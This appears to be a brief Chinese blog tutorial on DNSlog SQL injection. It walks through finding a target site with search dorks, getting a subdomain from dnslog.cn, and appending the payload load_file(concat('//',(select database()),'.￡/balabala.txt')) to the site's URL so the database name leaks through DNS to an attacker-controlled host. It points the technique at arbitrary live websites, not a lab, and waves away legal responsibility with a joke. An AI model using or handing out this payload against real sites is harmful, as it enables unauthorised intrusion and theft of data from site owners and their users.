首先dnslog注入是什么？个人理解为sql注入的一种

怎么注入呢？
1，学习一点sql语法
例如
concat（连接的）
load_file（读取文件内容的）
select（执行一些查询语法的）
2，找到一个网站（谷歌语法）
3，打开这个网站dnslog.cn
点击左边的get subdomain得到一个域名
并复制（上面显示的域名）

4中的￡为你复制的域名，粘贴替换一下
4，开始组合语句
load_file(concat('//',(select database()),'.￡/balabala.txt'))
5，把你要注入的网址，改成这样子
你要注入的网址 and 4的语句
有一个空格 有一个空格
6，访问
7，返回
dnslog.cn网站并刷新（右边的refresh record）
即可在前面看到他的库名
8，没了就这样吧
9，一切法律责任于本地无关，请在学会24小时内忘记，谢谢配合

分享到：

赞 (0) 打赏 搜一下